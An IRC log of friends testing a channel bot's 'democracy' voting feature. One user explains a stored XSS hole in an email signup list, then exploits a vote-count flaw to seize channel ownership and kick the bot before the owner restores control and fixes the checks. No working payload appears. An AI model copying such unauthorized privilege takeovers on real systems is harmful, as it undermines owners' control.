[2014-11-23T11:47:15-0500] <JacobEdelman> when an admin wants to view the email list for people who subscribed
[2014-11-23T11:47:28-0500] <JacobEdelman> (which I just turned back on and was on for a long time previosly)
[2014-11-23T11:47:42-0500] <JacobEdelman> they put in the super secret password and the server sends them the list of emails
[2014-11-23T11:47:48-0500] <JacobEdelman> with the emaisl compleetely plain text
[2014-11-23T11:48:07-0500] <JacobEdelman> so you could just put in some html and <script> for an email...
[2014-11-23T11:48:12-0500] <JacobEdelman> and when the admin viewed the email list
[2014-11-23T11:48:17-0500] <JacobEdelman> it would run that code 
[2014-11-23T11:48:18-0500] <JacobEdelman> :P
[2014-11-23T11:50:31-0500] <JacobEdelman> this means you could have gotten the entire email list, and maybe have done some other evil stuff
[2014-11-23T11:51:06-0500] <JacobEdelman> (although the main splash page with the subscribe thing was aon a different site from the compete part so I don't think anybody could have stolen our admin cookie and done real damage)
[2014-11-23T11:53:25-0500] <@LittleBobbyTables> Probably could have
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[2014-11-23T12:08:51-0500] <JacobEdelman> hmmm... I;d be interested to hear how
[2014-11-23T12:08:55-0500] <JacobEdelman> they are on different domains
[2014-11-23T12:09:03-0500] <JacobEdelman> and wait.. why are you an op?
[2014-11-23T12:11:50-0500] <Tamini> oh we
[2014-11-23T12:11:56-0500] <Tamini> voted on that last night
[2014-11-23T12:12:32-0500] <JacobEdelman> .... why just him?
[2014-11-23T12:13:10-0500] <JacobEdelman> (also #study is on right now)
[2014-11-23T12:13:40-0500] <@LittleBobbyTables> Because nobody else was here
[2014-11-23T12:16:18-0500] <JacobEdelman> .... thats allowed?
[2014-11-23T12:16:19-0500] <Tamini> lolol
[2014-11-23T12:16:20-0500] <JacobEdelman> ...
[2014-11-23T12:16:22-0500] <Tamini> apparently
[2014-11-23T12:16:31-0500] <Tamini> he just defaulted to won
[2014-11-23T12:17:23-0500] <JacobEdelman> ....
[2014-11-23T12:17:28-0500] <JacobEdelman> awe
[2014-11-23T12:17:28-0500] <Tamini> win*
[2014-11-23T12:17:32-0500] <Tamini> words are hard damn
[2014-11-23T12:17:38-0500] <Tamini> also why is no one awake smh
[2014-11-23T12:18:07-0500] <@LittleBobbyTables> Essentially how the voting works
[2014-11-23T12:18:19-0500] <@LittleBobbyTables> Is once "yea's" are at least 40% of the total votes
[2014-11-23T12:18:21-0500] <@LittleBobbyTables> Then it wins
[2014-11-23T12:18:30-0500] <@LittleBobbyTables> So if there's only one vote and it's yea, it autowins
[2014-11-23T12:18:55-0500] <JacobEdelman> hmmm...
[2014-11-23T12:18:59-0500] <JacobEdelman> how do you propose a rule?
[2014-11-23T12:19:43-0500] <@LittleBobbyTables> .propose kick JacobEdelman
[2014-11-23T12:19:43-0500] <&Pidgey> Proposal 0 is live.
[2014-11-23T12:20:27-0500] <@LittleBobbyTables> Now, is there a way to remove proposals? Good question
[2014-11-23T12:21:06-0500] <JacobEdelman> nay
[2014-11-23T12:21:09-0500] <JacobEdelman> !vote no
[2014-11-23T12:21:13-0500] <JacobEdelman> .vote no
[2014-11-23T12:21:14-0500] <@LittleBobbyTables> .vote 0 yea
[2014-11-23T12:21:14-0500] <&Pidgey> Vote issued.
[2014-11-23T12:21:14-0500] Pidgey kicked JacobEdelman from the channel (It was decided so.)
[2014-11-23T12:21:14-0500] <&Pidgey> Enacted proposal to kick JacobEdelman.
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[2014-11-23T12:21:27-0500] <@LittleBobbyTables> So kicks work
[2014-11-23T12:21:48-0500] <JacobEdelman> .propose change the owner to JacobEdelman 
[2014-11-23T12:21:52-0500] <JacobEdelman> ,,,
[2014-11-23T12:21:55-0500] <@LittleBobbyTables> .propose owner JacobEdelman
[2014-11-23T12:21:55-0500] <&Pidgey> owner is not a valid option for a proposal.
[2014-11-23T12:21:59-0500] <@LittleBobbyTables> hmm
[2014-11-23T12:22:04-0500] <@LittleBobbyTables> Forgot what it was
[2014-11-23T12:22:05-0500] <JacobEdelman> its in the source
[2014-11-23T12:22:19-0500] <JacobEdelman> .vote propose setowner JacobEdelman 
[2014-11-23T12:22:25-0500] <JacobEdelman> .propose setowner JacobEdelman 
[2014-11-23T12:22:25-0500] <&Pidgey> setowner is not a valid option for a proposal.
[2014-11-23T12:22:29-0500] <JacobEdelman> .propose changeowner JacobEdelman 
[2014-11-23T12:22:29-0500] <&Pidgey> changeowner is not a valid option for a proposal.
[2014-11-23T12:22:43-0500] <JacobEdelman> .propose chown JacobEdelman 
[2014-11-23T12:22:43-0500] <&Pidgey> Proposal 0 is live.
[2014-11-23T12:22:46-0500] <JacobEdelman> .vote 0 yea
[2014-11-23T12:22:46-0500] <&Pidgey> Vote issued.
[2014-11-23T12:22:46-0500] <&Pidgey> Enacted proposal to change the owner to JacobEdelman.
[2014-11-23T12:22:49-0500] <JacobEdelman> ...
[2014-11-23T12:22:52-0500] <JacobEdelman> nothing happened
[2014-11-23T12:22:57-0500] <@LittleBobbyTables> Dunno
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[2014-11-23T12:23:02-0500] Pidgey sets mode +q JacobEdelman
[2014-11-23T12:23:06-0500] <~JacobEdelman> nice!!!
[2014-11-23T12:23:10-0500] <@LittleBobbyTables> lol
[2014-11-23T12:23:18-0500] <@LittleBobbyTables> are you identified?
[2014-11-23T12:23:35-0500] JacobEdelman sets mode -a Pidgey
[2014-11-23T12:23:38-0500] <~JacobEdelman> good
[2014-11-23T12:23:41-0500] <~JacobEdelman> now it can't interfere
[2014-11-23T12:23:42-0500] <~JacobEdelman> :P
[2014-11-23T12:23:47-0500] <~JacobEdelman> hmmm
[2014-11-23T12:23:48-0500] <@LittleBobbyTables> lmao
[2014-11-23T12:23:56-0500] LittleBobbyTables sets mode +i
[2014-11-23T12:24:00-0500] <@LittleBobbyTables> whoops
[2014-11-23T12:24:07-0500] <@LittleBobbyTables> Meh, +i, who cares.
[2014-11-23T12:25:30-0500] JacobEdelman sets mode -q awe
[2014-11-23T12:25:32-0500] <~JacobEdelman> there
[2014-11-23T12:25:35-0500] JacobEdelman sets mode -o LittleBobbyTables
[2014-11-23T12:25:38-0500] <~JacobEdelman> much better
[2014-11-23T12:25:39-0500] <~JacobEdelman> :)
[2014-11-23T12:26:03-0500] JacobEdelman changed the topic to The Democracy Feature Needs Works! (also: Pidgey now has a small assortment of features. | Pidgey on GitHub: https://github.com/aaronweiss74/irc-services. | Democracy RFC: https://gist.github.com/aaronweiss74/ff945955cabd26e2a2be)
[2014-11-23T12:26:09-0500] <~JacobEdelman> there
[2014-11-23T12:26:12-0500] <~JacobEdelman> ...
[2014-11-23T12:26:22-0500] <~JacobEdelman> Tamini: I've moved up in life
[2014-11-23T12:27:36-0500] JacobEdelman sets mode -i
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[2014-11-23T12:28:07-0500] <alokpathy> Wait
[2014-11-23T12:28:08-0500] <~JacobEdelman> hi alokpathy 
[2014-11-23T12:28:10-0500] <alokpathy> why is JacobEdelman owner
[2014-11-23T12:28:12-0500] <alokpathy> and not awe?
[2014-11-23T12:28:18-0500] <~JacobEdelman> awe tried to implement democracy
[2014-11-23T12:28:19-0500] <+LittleBobbyTables> Because democracy is terrible
[2014-11-23T12:28:19-0500] <+LittleBobbyTables> lol
[2014-11-23T12:28:23-0500] <~JacobEdelman> but it had so many problems
[2014-11-23T12:28:26-0500] <~JacobEdelman> for one things
[2014-11-23T12:28:40-0500] <~JacobEdelman> once something gets 40% or more yea votes
[2014-11-23T12:28:41-0500] <+LittleBobbyTables> .propose oper LittleBobbyTables
[2014-11-23T12:28:41-0500] <Pidgey> Proposal 0 is live.
[2014-11-23T12:28:42-0500] <+LittleBobbyTables> .vote 0 yea
[2014-11-23T12:28:42-0500] <Pidgey> Vote issued.
[2014-11-23T12:28:42-0500] Pidgey sets mode +o LittleBobbyTables
[2014-11-23T12:28:42-0500] <Pidgey> Enacted proposal to oper LittleBobbyTables.
[2014-11-23T12:28:42-0500] <~JacobEdelman> it is accepts
[2014-11-23T12:28:46-0500] <~JacobEdelman> wait, waht?
[2014-11-23T12:28:49-0500] JacobEdelman kicked LittleBobbyTables from the channel ()
[2014-11-23T12:28:51-0500] JacobEdelman kicked Pidgey from the channel ()
[2014-11-23T12:28:53-0500] <~JacobEdelman> there
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[2014-11-23T12:28:58-0500] <alokpathy> wat
[2014-11-23T12:28:59-0500] <~JacobEdelman> now it shouldn't work
[2014-11-23T12:28:59-0500] <LittleBobbyTables> lol rude
[2014-11-23T12:29:03-0500] <~JacobEdelman> so,
[2014-11-23T12:29:03-0500] <alokpathy> .vote 0 yea
[2014-11-23T12:29:12-0500] <alokpathy> wat
[2014-11-23T12:29:22-0500] <alokpathy> Is awe aware of this?
[2014-11-23T12:29:23-0500] <LittleBobbyTables> .propose oper LittleBobbyTables
[2014-11-23T12:29:23-0500] <LittleBobbyTables> .vote 0 yea
[2014-11-23T12:29:24-0500] <~JacobEdelman> once you propose something, and than vote for it, it is immeidetly passed
[2014-11-23T12:29:26-0500] <LittleBobbyTables> hmm
[2014-11-23T12:29:31-0500] <~JacobEdelman> (100% yea votes)
[2014-11-23T12:29:36-0500] <~JacobEdelman> so, I made myself chan owner
[2014-11-23T12:29:39-0500] <~JacobEdelman> removed awe
[2014-11-23T12:29:45-0500] <~JacobEdelman> and now I have kicked pidgey
[2014-11-23T12:29:49-0500] <~JacobEdelman> :)
[2014-11-23T12:29:53-0500] <LittleBobbyTables> I pointed this problem out to him before
[2014-11-23T12:29:58-0500] <~JacobEdelman> what did he say?
[2014-11-23T12:30:07-0500] <LittleBobbyTables> Don't remember
[2014-11-23T12:30:12-0500] <LittleBobbyTables> He says "failing works"
[2014-11-23T12:30:18-0500] <~JacobEdelman> what?
[2014-11-23T12:30:22-0500] <LittleBobbyTables> Which implies that you need >60% of the entire channel
[2014-11-23T12:30:28-0500] <~JacobEdelman> well
[2014-11-23T12:30:32-0500] <alokpathy> I'm thoroughly confused.
[2014-11-23T12:31:30-0500] <~JacobEdelman> if you propose something
[2014-11-23T12:31:34-0500] <~JacobEdelman> and than immiedely vote for it
[2014-11-23T12:31:38-0500] <~JacobEdelman> it has 100% yeah votes
[2014-11-23T12:31:43-0500] <~JacobEdelman> which is >40% so it is passed
[2014-11-23T12:31:44-0500] <~JacobEdelman> than
[2014-11-23T12:31:52-0500] <~JacobEdelman> I used that
[2014-11-23T12:31:58-0500] <~JacobEdelman> to propose that I should be the chan owner
[2014-11-23T12:32:02-0500] <~JacobEdelman> and after that
[2014-11-23T12:32:09-0500] <~JacobEdelman> I removed awe from being the owner
[2014-11-23T12:32:21-0500] <alokpathy> Is he aware that he's not the owner anymore...?
[2014-11-23T12:32:22-0500] <~JacobEdelman> and kicked pidgey so nobody else could use the democracy feature
[2014-11-23T12:32:25-0500] <~JacobEdelman> nope
[2014-11-23T12:32:27-0500] <~JacobEdelman> once he is
[2014-11-23T12:32:27-0500] <sdamashek> lol this
[2014-11-23T12:32:49-0500] <alokpathy> There are usually more ethical ways to pentest than going ahead and doing it.
[2014-11-23T12:32:58-0500] <~JacobEdelman> ... its my friends irc server
[2014-11-23T12:33:09-0500] <~JacobEdelman> I just couldn't resist the opportunity to mess with him :)
[2014-11-23T12:33:17-0500] <LittleBobbyTables> I should have actually done this last night
[2014-11-23T12:33:18-0500] <LittleBobbyTables> But meh
[2014-11-23T12:33:25-0500] <LittleBobbyTables> Give me +v back <3
[2014-11-23T12:33:26-0500] <~JacobEdelman> (I mean, its not like I destroyed the channell or anything)
[2014-11-23T12:33:39-0500] JacobEdelman sets mode +ils 0
[2014-11-23T12:33:45-0500] <~JacobEdelman> ooh wait
[2014-11-23T12:33:46-0500] <~JacobEdelman> oops
[2014-11-23T12:33:52-0500] JacobEdelman sets mode -ils
[2014-11-23T12:33:54-0500] <~JacobEdelman> fixed
[2014-11-23T12:33:55-0500] <~JacobEdelman> okay
[2014-11-23T12:34:20-0500] <LittleBobbyTables> To be fair
[2014-11-23T12:34:23-0500] <LittleBobbyTables> We can't play resistance now.
[2014-11-23T12:34:28-0500] <~JacobEdelman> true
[2014-11-23T12:34:44-0500] <~JacobEdelman> we can just use
[2014-11-23T12:34:46-0500] <~JacobEdelman> #resistance
[2014-11-23T12:34:53-0500] <LittleBobbyTables> kinda did ruin it 
[2014-11-23T12:34:53-0500] <LittleBobbyTables> :P
[2014-11-23T12:35:07-0500] <LittleBobbyTables> true
[2014-11-23T12:35:09-0500] <LittleBobbyTables> but still brb
[2014-11-23T12:35:52-0500] <~JacobEdelman> so
[2014-11-23T12:36:05-0500] <~JacobEdelman> I'm officially rebranding pdgn
[2014-11-23T12:36:16-0500] <~JacobEdelman> instead of a irc where freedom and anarchy dwell in harmnoy
[2014-11-23T12:36:19-0500] <~JacobEdelman> this is now an irc
[2014-11-23T12:36:21-0500] <~JacobEdelman> of death
[2014-11-23T12:36:23-0500] <~JacobEdelman> destruction
[2014-11-23T12:36:28-0500] <~JacobEdelman> and tyranny!
[2014-11-23T12:36:37-0500] <sdamashek> sounds good
[2014-11-23T12:36:46-0500] JacobEdelman sets mode +o sdamashek
[2014-11-23T12:36:52-0500] <@sdamashek> are you our evil overlord?
[2014-11-23T12:36:56-0500] <~JacobEdelman> yup
[2014-11-23T12:37:11-0500] <~JacobEdelman> and I'm making you one of my lords , to rule over the people when I'm to lazy
[2014-11-23T12:37:19-0500] <@sdamashek> oooh
[2014-11-23T12:37:30-0500] <~JacobEdelman> (don't do anything too mean)
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[2014-11-23T12:43:24-0500] <Hcnsh> ..
[2014-11-23T12:43:39-0500] <@sdamashek> hello
[2014-11-23T12:43:43-0500] <~JacobEdelman> hi
[2014-11-23T12:43:45-0500] <~JacobEdelman> I took over
[2014-11-23T12:44:06-0500] <~JacobEdelman> cause awe failed at implementing a democracy feature were people could vote to do stuff
[2014-11-23T12:44:07-0500] <Hcnsh> plis hakob
[2014-11-23T12:44:13-0500] JacobEdelman sets mode +o Hcnsh
[2014-11-23T12:44:17-0500] <~JacobEdelman> there
[2014-11-23T12:44:22-0500] <@Hcnsh> yey
[2014-11-23T12:44:27-0500] <~JacobEdelman> you are now one of the evil lords of the demon king Jacob
[2014-11-23T12:44:29-0500] <alokpathy> Can I be op too?
[2014-11-23T12:44:33-0500] <~JacobEdelman> ...
[2014-11-23T12:44:35-0500] <~JacobEdelman> hmmm...
[2014-11-23T12:44:36-0500] <~JacobEdelman> fine
[2014-11-23T12:44:39-0500] JacobEdelman sets mode +o alokpathy
[2014-11-23T12:44:41-0500] <~JacobEdelman> just you three
[2014-11-23T12:44:46-0500] <~JacobEdelman> cause you guys asked first
[2014-11-23T12:44:46-0500] alokpathy sets mode -o Hcnsh
[2014-11-23T12:44:49-0500] alokpathy sets mode -o sdamashek
[2014-11-23T12:44:49-0500] <~JacobEdelman> ...
[2014-11-23T12:44:52-0500] <sdamashek> gotta love when it takes only one vote to implement democracy features
[2014-11-23T12:44:55-0500] <~JacobEdelman> hmmm
[2014-11-23T12:45:05-0500] <sdamashek> rude
[2014-11-23T12:45:10-0500] <~JacobEdelman> alok
[2014-11-23T12:45:14-0500] <~JacobEdelman> don't do that again
[2014-11-23T12:45:16-0500] <@alokpathy> aw
[2014-11-23T12:45:20-0500] <Hcnsh> ..
[2014-11-23T12:45:22-0500] <Hcnsh> gtfo alok
[2014-11-23T12:45:23-0500] <~JacobEdelman> you must not outright assinate the other lords
[2014-11-23T12:45:27-0500] JacobEdelman sets mode +o Hcnsh
[2014-11-23T12:45:31-0500] JacobEdelman sets mode +o sdamashek
[2014-11-23T12:45:36-0500] <@alokpathy> Fine
[2014-11-23T12:45:39-0500] <~JacobEdelman> (now subterfuge is totally legit)
[2014-11-23T12:45:41-0500] <~JacobEdelman> gtg
[2014-11-23T12:45:50-0500] <~JacobEdelman> rule over this world in terror while I am gone
[2014-11-23T12:45:56-0500] <~JacobEdelman> spread disease and destruction, ect ect
[2014-11-23T12:45:57-0500] <@Hcnsh> waitwait
[2014-11-23T12:46:00-0500] <@Hcnsh> can i be main lord plis
[2014-11-23T12:46:04-0500] <~JacobEdelman> nah
[2014-11-23T12:46:05-0500] <~JacobEdelman> sorry
[2014-11-23T12:46:18-0500] <~JacobEdelman> not now at least
[2014-11-23T12:47:48-0500] <@Hcnsh> alok did you get that msg
[2014-11-23T12:48:56-0500] <@alokpathy> Yes
[2014-11-23T12:57:40-0500] <LittleBobbyTables> waow unfair, I wasn't here to ask first :(
[2014-11-23T12:58:57-0500] sdamashek sets mode +v LittleBobbyTables
[2014-11-23T12:59:01-0500] <@sdamashek> you get a little hat
[2014-11-23T12:59:12-0500] <@sdamashek> you are an apprentice
[2014-11-23T12:59:33-0500] Hcnsh sets mode -v awe
[2014-11-23T12:59:42-0500] <@Hcnsh> awe's gonna kill me
[2014-11-23T12:59:42-0500] <@Hcnsh> oh well
[2014-11-23T13:00:11-0500] <+LittleBobbyTables> <3
[2014-11-23T13:01:03-0500] Hcnsh sets mode +v awe
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[2014-11-23T13:28:35-0500] <+awe> JacobEdelman: that's not exactly true
[2014-11-23T13:28:44-0500] <~JacobEdelman> what isn;t?
[2014-11-23T13:28:45-0500] <+awe> JacobEdelman: it's just that the number of identified people is really low.
[2014-11-23T13:28:54-0500] <~JacobEdelman> really?
[2014-11-23T13:28:57-0500] <~JacobEdelman> cause its more than just me
[2014-11-23T13:29:04-0500] <+awe> [12:31:30]  <~JacobEdelman>	if you propose something
[2014-11-23T13:29:04-0500] <+awe> [12:31:34]  <~JacobEdelman>	and than immiedely vote for it
[2014-11-23T13:29:04-0500] <+awe> [12:31:38]  <~JacobEdelman>	it has 100% yeah votes
[2014-11-23T13:29:04-0500] <+awe> [12:31:43]  <~JacobEdelman>	which is >40% so it is passed
[2014-11-23T13:29:06-0500] <~JacobEdelman> and I was able to propose things and pass them on my own
[2014-11-23T13:29:17-0500] <~JacobEdelman> I just proposed something and voted yea and it past
[2014-11-23T13:29:21-0500] <~JacobEdelman> *passed
[2014-11-23T13:29:23-0500] <~JacobEdelman> same with LBT
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[2014-11-23T13:29:27-0500] <+LittleBobbyTables> Oh, identified people?
[2014-11-23T13:29:32-0500] Pidgey sets mode +a Pidgey
[2014-11-23T13:29:32-0500] Pidgey changed the topic to The Democracy Feature Needs Works! (also: Pidgey now has a small assortment of features. | Pidgey on GitHub: https://github.com/aaronweiss74/irc-services. | Democracy RFC: https://gist.github.com/aaronweiss74/ff945955cabd26e2a2be)
[2014-11-23T13:29:32-0500] <+LittleBobbyTables> Also, it died somehow lol
[2014-11-23T13:29:41-0500] <+awe> There's only three people with voice.
[2014-11-23T13:29:43-0500] <~JacobEdelman> ,,,
[2014-11-23T13:29:48-0500] <+awe> The issue is that I forgot to do a couple things.
[2014-11-23T13:29:50-0500] <~JacobEdelman> so?
[2014-11-23T13:29:52-0500] <+awe> One: check that the person is voiced.
[2014-11-23T13:29:56-0500] <~JacobEdelman> I didn't have voice when I proposed things
[2014-11-23T13:29:56-0500] <+awe> Two: check that the person is identified.
[2014-11-23T13:30:01-0500] <+awe> I know.
[2014-11-23T13:30:08-0500] <~JacobEdelman> Three: prevent owner changing
[2014-11-23T13:30:09-0500] <+LittleBobbyTables> .propose oper LittleBobbyTables
[2014-11-23T13:30:09-0500] <&Pidgey> Proposal 0 is live.
[2014-11-23T13:30:10-0500] <+LittleBobbyTables> .vote 0 yea
[2014-11-23T13:30:10-0500] <&Pidgey> Vote issued.
[2014-11-23T13:30:10-0500] Pidgey sets mode +o LittleBobbyTables
[2014-11-23T13:30:11-0500] <&Pidgey> Enacted proposal to oper LittleBobbyTables.
[2014-11-23T13:30:18-0500] JacobEdelman kicked Pidgey from the channel ()
[2014-11-23T13:30:21-0500] <~JacobEdelman> no more
[2014-11-23T13:30:25-0500] <~JacobEdelman> I HAVE THE POWER
[2014-11-23T13:30:30-0500] <+awe> So, you were able to propose stuff but not be counted in the total.
[2014-11-23T13:30:31-0500] <~JacobEdelman> (until awe asks for it back)
[2014-11-23T13:30:44-0500] <~JacobEdelman> ?
[2014-11-23T13:30:45-0500] awe sets mode +q awe
[2014-11-23T13:30:49-0500] <~JacobEdelman> ,,,
[2014-11-23T13:30:51-0500] <~JacobEdelman> how?
[2014-11-23T13:30:55-0500] <~awe> SAMODE.
[2014-11-23T13:30:55-0500] JacobEdelman kicked LittleBobbyTables from the channel ()
[2014-11-23T13:30:57-0500] <~awe> I'm an oper.
[2014-11-23T13:30:58-0500] JacobEdelman sets mode +o JacobEdelman
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[2014-11-23T13:31:02-0500] <~awe> As in, an actual system oper.
[2014-11-23T13:31:05-0500] <LittleBobbyTables> waow r00d
[2014-11-23T13:31:19-0500] <LittleBobbyTables> What'd I ever do to you :(
[2014-11-23T13:31:21-0500] <~awe> Anyway, so, there are things that need to be fixed here.
[2014-11-23T13:31:49-0500] <LittleBobbyTables> I think democracy is a decent idea but
[2014-11-23T13:32:06-0500] <~JacobEdelman> hmmm
[2014-11-23T13:32:43-0500] <LittleBobbyTables> Terrible for how small people we have
[2014-11-23T13:32:53-0500] <~JacobEdelman> is my rain of demonic rulership going to have to end awe?
[2014-11-23T13:32:53-0500] <~awe> It'd work better if we didn't have uhh...
[2014-11-23T13:33:02-0500] <~awe> 3 people voiced.
[2014-11-23T13:33:04-0500] <~JacobEdelman> cause I implemented a ruling class of nobles
[2014-11-23T13:33:06-0500] <~JacobEdelman> (the ops)
[2014-11-23T13:33:14-0500] <LittleBobbyTables> You should totally end it.
[2014-11-23T13:33:21-0500] <~JacobEdelman> and built up a whole political system of oppression and greed
[2014-11-23T13:33:22-0500] <@Hcnsh> guize plis bring back pidgey
[2014-11-23T13:33:24-0500] <LittleBobbyTables> Restore it to the way it was before Jacob ended it :P
[2014-11-23T13:33:31-0500] <~JacobEdelman> it would be a shame for you to remove it
[2014-11-23T13:33:32-0500] <~JacobEdelman> :P
[2014-11-23T13:33:49-0500] <~awe> Did you guys see awebot?
[2014-11-23T13:34:00-0500] <@Hcnsh> nop
[2014-11-23T13:34:02-0500] <~awe> https://github.com/aaronweiss74/awebot
[2014-11-23T13:34:15-0500] <~awe> He dynamically loads processing plugins. :D
[2014-11-23T13:35:07-0500] <@Hcnsh> why does rust have stds
[2014-11-23T13:35:22-0500] <@Hcnsh> hoe stole it from c++
[2014-11-23T13:38:30-0500] <~awe> A standard library is pretty normal lol
[2014-11-23T13:38:48-0500] Pidgey (services@services.pdgn.co) joined the channel
[2014-11-23T13:38:54-0500] Pidgey sets mode +a Pidgey
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[2014-11-23T13:38:55-0500] <~awe> JacobEdelman: go ahead, try to propose something.
[2014-11-23T13:38:56-0500] <&Pidgey> You must be identified to do that.
[2014-11-23T13:39:02-0500] <~awe> Whoops.
[2014-11-23T13:39:02-0500] <&Pidgey> You must be identified to do that.
[2014-11-23T13:39:06-0500] <~awe> He's going to say this every time. .-.
[2014-11-23T13:39:06-0500] <&Pidgey> You must be identified to do that.
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[2014-11-23T13:39:09-0500] <@sdamashek> I want to talk without being identified
[2014-11-23T13:39:14-0500] <@sdamashek> you are oppressing me
[2014-11-23T13:39:17-0500] <@sdamashek> free speech!!!
[2014-11-23T13:39:58-0500] <~awe> lol
[2014-11-23T13:40:00-0500] <~awe> My b.
[2014-11-23T13:40:04-0500] <~awe> Silly oppressive Pidgey.
[2014-11-23T13:40:52-0500] Pidgey (services@services.pdgn.co) joined the channel
[2014-11-23T13:40:58-0500] Pidgey sets mode +a Pidgey
[2014-11-23T13:40:58-0500] Pidgey changed the topic to The Democracy Feature Needs Works! (also: Pidgey now has a small assortment of features. | Pidgey on GitHub: https://github.com/aaronweiss74/irc-services. | Democracy RFC: https://gist.github.com/aaronweiss74/ff945955cabd26e2a2be)
[2014-11-23T13:41:13-0500] <~awe> okay
[2014-11-23T13:41:22-0500] <~awe> .propose chown awe
[2014-11-23T13:41:22-0500] <&Pidgey> You must be identified to do that.
[2014-11-23T13:41:30-0500] <~awe> .propose chown awe
[2014-11-23T13:41:30-0500] <&Pidgey> Proposal 0 is live.
[2014-11-23T13:41:33-0500] <~awe> .vote 0 yea
[2014-11-23T13:41:33-0500] <&Pidgey> Vote issued.
[2014-11-23T13:41:33-0500] <&Pidgey> Enacted proposal to change the owner to awe.
[2014-11-23T13:41:39-0500] <LittleBobbyTables> .propose oper LittleBobbyTables
[2014-11-23T13:41:39-0500] <&Pidgey> Proposal 0 is live.
[2014-11-23T13:41:41-0500] <LittleBobbyTables> .vote 0 yea
[2014-11-23T13:41:41-0500] <&Pidgey> Vote issued.
[2014-11-23T13:41:41-0500] Pidgey sets mode +o LittleBobbyTables
[2014-11-23T13:41:41-0500] <&Pidgey> Enacted proposal to oper LittleBobbyTables.
[2014-11-23T13:41:41-0500] awe sets mode -q JacobEdelman
[2014-11-23T13:41:52-0500] awe sets mode -o JacobEdelman
[2014-11-23T13:41:58-0500] awe sets mode -o alokpathy
[2014-11-23T13:42:00-0500] awe sets mode -o Hcnsh
[2014-11-23T13:42:03-0500] awe sets mode -o sdamashek
[2014-11-23T13:42:21-0500] <~awe> JacobEdelman: identify
[2014-11-23T13:42:37-0500] <~awe> LittleBobbyTables: wait a minute.
[2014-11-23T13:42:42-0500] <~awe> LittleBobbyTables: one vote yea shouldn't be enough.
[2014-11-23T13:42:48-0500] <~awe> LittleBobbyTables: we have three people
[2014-11-23T13:42:50-0500] <~awe> LittleBobbyTables: one vote is 33%
[2014-11-23T13:42:57-0500] <@LittleBobbyTables> That's the issue.
[2014-11-23T13:43:10-0500] <@LittleBobbyTables> It appears that if yea votes are 40% of given votes.
[2014-11-23T13:43:15-0500] <@LittleBobbyTables> Then it goes through.
[2014-11-23T13:43:45-0500] <@LittleBobbyTables> anyway, afk for a couple of hours.
[2014-11-23T13:47:07-0500] <Hcnsh> .propose oper Hcnsh
[2014-11-23T13:47:07-0500] <&Pidgey> You must be identified to do that.
[2014-11-23T13:47:16-0500] <~awe> :)
[2014-11-23T13:47:21-0500] <Hcnsh> .propose oper Hcnsh
[2014-11-23T13:47:21-0500] <&Pidgey> You must be voiced to do that.
[2014-11-23T13:47:24-0500] <Hcnsh> plis
[2014-11-23T13:47:34-0500] awe sets mode +v Hcnsh
[2014-11-23T13:47:40-0500] <+Hcnsh> .propose oper Hcnsh
[2014-11-23T13:47:40-0500] <&Pidgey> Proposal 0 is live.
[2014-11-23T13:47:42-0500] <+Hcnsh> .vote 0 yes
[2014-11-23T13:47:42-0500] <&Pidgey> yes is not a valid vote.
[2014-11-23T13:47:43-0500] <hardmath123> Ooh, shiny
[2014-11-23T13:47:46-0500] <+Hcnsh> .vote 0 yea
[2014-11-23T13:47:46-0500] <&Pidgey> Vote issued.
[2014-11-23T13:47:46-0500] Pidgey sets mode +o Hcnsh
[2014-11-23T13:47:46-0500] <&Pidgey> Enacted proposal to oper Hcnsh.
[2014-11-23T13:47:49-0500] <@Hcnsh> k ty
[2014-11-23T13:47:50-0500] <~awe> Okay, uhhh...
[2014-11-23T13:47:50-0500] <hardmath123> Democracy-as-an-IRC-bot
[2014-11-23T13:47:53-0500] <~awe> The precentage is definitely broken.
[2014-11-23T13:47:56-0500] <~awe> percentage*
[2014-11-23T13:48:00-0500] <~awe> 1/4 is definitely not >40%.
[2014-11-23T13:48:11-0500] <~awe> hardmath123: can you register/identify real quick?
[2014-11-23T13:48:20-0500] <hardmath123> awe: NickServ?
[2014-11-23T13:48:22-0500] <~awe> OH.
[2014-11-23T13:48:23-0500] <~awe> I know why.
[2014-11-23T13:48:24-0500] <@Hcnsh> awe, what's the command to de-"q" you?
[2014-11-23T13:48:35-0500] <@Hcnsh> .. for science
[2014-11-23T13:48:35-0500] <~awe> hardmath123: Pidgey is the NS
[2014-11-23T13:48:45-0500] <~awe> hardmath123: to get NS commands, /msg Pidgey NS command
[2014-11-23T13:48:57-0500] <~awe> i.e. /msg Pidgey NS REGISTER password
[2014-11-23T13:49:10-0500] <~awe> to get chanserv commands, /msg Pidgey CS command
[2014-11-23T13:49:15-0500] <~awe> I know what's up though.
[2014-11-23T13:49:15-0500] <@Hcnsh> .propose deq awe
[2014-11-23T13:49:15-0500] <&Pidgey> deq is not a valid option for a proposal.
[2014-11-23T13:49:22-0500] <@Hcnsh> plis awe
[2014-11-23T13:50:07-0500] <hardmath123> awe: done
[2014-11-23T13:50:26-0500] awe sets mode +v hardmath123
[2014-11-23T13:50:38-0500] <~awe> .propose deop Hcnsh 
[2014-11-23T13:50:38-0500] <&Pidgey> Proposal 0 is live.
[2014-11-23T13:50:40-0500] <~awe> .vote 0 yea
[2014-11-23T13:50:40-0500] <&Pidgey> Vote issued.
[2014-11-23T13:50:42-0500] <@Hcnsh> .vote no
[2014-11-23T13:50:42-0500] <~awe> Thought so.
[2014-11-23T13:50:46-0500] <~awe> Hcnsh: .vote 0 yea
[2014-11-23T13:50:47-0500] <@Hcnsh> .vote 0 no
[2014-11-23T13:50:47-0500] <&Pidgey> no is not a valid vote.
[2014-11-23T13:50:51-0500] <@Hcnsh> .vote 0 nay
[2014-11-23T13:50:51-0500] <&Pidgey> Vote issued.
[2014-11-23T13:50:59-0500] <@Hcnsh> plisplis
[2014-11-23T13:51:01-0500] <~awe> hardmath123: .vote 0 yea
[2014-11-23T13:51:07-0500] <@Hcnsh> lolno don't
[2014-11-23T13:51:14-0500] <~awe> It works, it was just automatically defaulting to 25% for everything.
[2014-11-23T13:51:19-0500] <+hardmath123> .vote 0 y
[2014-11-23T13:51:20-0500] <&Pidgey> y is not a valid vote.
[2014-11-23T13:51:23-0500] <+hardmath123> .vote 0 yea
[2014-11-23T13:51:23-0500] <&Pidgey> Vote issued.
[2014-11-23T13:51:23-0500] Pidgey sets mode -o Hcnsh
[2014-11-23T13:51:23-0500] <&Pidgey> Enacted proposal to deop Hcnsh.
[2014-11-23T13:51:27-0500] <+hardmath123> yay
[2014-11-23T13:51:34-0500] <+Hcnsh> .propose deop awe
[2014-11-23T13:51:35-0500] <&Pidgey> Proposal 0 is live.
